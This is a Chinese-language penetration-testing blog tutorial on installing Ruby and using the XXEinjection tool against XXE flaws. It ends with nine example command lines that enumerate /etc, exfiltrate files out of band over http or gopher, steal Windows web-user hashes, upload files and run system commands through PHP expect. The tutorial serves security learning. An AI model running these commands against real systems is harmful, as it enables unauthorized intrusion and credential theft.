今天继续给大家介绍渗透测试相关知识,本文主要内容是XXE工具——XXEinjection安装与使用。
免责声明:
本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后果自负!
再次强调:严禁对未授权设备进行渗透测试!
一、XXEinjection工具介绍
XXEinjection是一个XXE漏洞利用工具,XXEinjection可以使用直接和带外方法(这里的带外方法指的是当XXE漏洞无回显时,使用特定方法让Web请求其他的URL,并将文件数据放在URL中,以此获得文件数据)获取文件信息。其中列举目录的功能仅适用于JAVA Web,暴力破解的方法适用于其他的应用。
二、Ruby环境安装
由于该XXEinjection是基于Ruby环境安装的,因此我们要运行该工具,就必须先安装Ruby环境。在Windows环境下,Ruby环境可以直接前往站点:
https://rubyinstaller.org/downloads/下载,该网页如下所示:
我们直接下载rubyinstaller,这个安装包会自动安装ruby,安装过程如下所示:
ruby环境安装完成后,我们可以在本地cmd环境下执行命令:
ruby -v
结果如下所示:
从上图可以看出,当前我们的ruby环境已经安装成功!
三、XXEinjection常用参数说明
XXEinjection工具常用参数如下所示:
–host 必选项,用于建立反向链接的IP地址(通常本机IP,测试公网站点必须保证为公网IP)
–file 必选项,包含有效HTTP请求的数据包文件。
–path 当用于枚举路径时的必选项,指定要枚举的目录
–brute 当需要爆破文件时的必选项,指定要爆破的文件路径
–logger 用于记录输出结果
–rhost 远程主机域名或者IP地址
–rport 指定远程主机的端口号
–phpfiler 使用此参数,表示使用PHP对目标文件进行base64编码
–netdoc 表示使用netdoc协议,java使用
–enumports 枚举用于反向链接的未过滤端口
–hashes 窃取运行当前Web程序的用户hash(针对Windows操作系统)
–expect 使用PHP的expect模块执行系统命令
–upload 使用JAVA jar向临时目录上传文件
–xslt 进行xslt注入测试
–ssl 表示使用https
–proxy 表示使用代理
–httpport 表示自定义http端口
–ftpport 表示自定义ftp端口
–gopherport 表示自定义gopher端口
–jarport 表示自定义文件上传端口
–xsltport 表示自定义进行XSLT注入测试的端口
–test 表示用于测试请求的有效性
–urlencode 表示进行URL编码
–output 表示指定一个文件作为日志,将爆破攻击结果输入该日志中
–timeout 表示设置接收文件或者目录的超时时间
–verbose 表示显示详细信息
–fast 表示跳过枚举查询,这样可以加快速度,但是有可能导致结果有误
–contimeout 表示设置与目标服务器的链接超时时间
四、XXEinjection使用示例
对该工具的利用,应该首先抓到指定目标访问的数据包,然后在可以写入XML文档的地方输入XXEINJECT,如下所示:
将上述数据包存储成本地txt文档后,就可以让该文档作为–file参数的值了。
XXEinjection使用示例如下所示:
1、ruby XXEinjection.rb --host=192.168.136.101 --path=/etc --file=./test.txt --ssl
表示枚举https应用中的/etc目录
2、ruby XXEinjection.rb --host=192.168.136.101 --file=./test.txt --oob=gopher
使用gopher(oob方法)枚举/etc目录
3、ruby XXEinjection.rb --host=192.168.136.101 --file=./text.txt -oob=http --netdoc
使用HTTP带外方法和netdoc协议进行攻击
4、ruby XXEinjection.rb --host=192.168.136.101 --file=./test.txt --enumports=all
枚举所有端口
5、ruby XXEinjection.rb --host=192.168.136.101 --file=./test.txt --hashes
窃取windows操作系统Web运行用户hash值
6、ruby XXEinjection.rb --host=192.168.136.101 --file=./test.txt --upload=./UploadFile
使用JAVA jar上传文件
7、ruby XXEinjection.rb --host=192.168.136.101 --file=./test.txt --oob=http --phpfilter --expect=id
调用expect模块,执行系统id命令
8、ruby XXEinjection.rb --host=192.168.136.101 --file=./test.txt --xslt
测试XSLT注入
9、ruby XXEinjection.rb --logger --oob=http --output=./output.txt
将请求信息写入到output.txt文件中。
原创不易,转载请说明出处:https://blog.csdn.net/weixin_40228200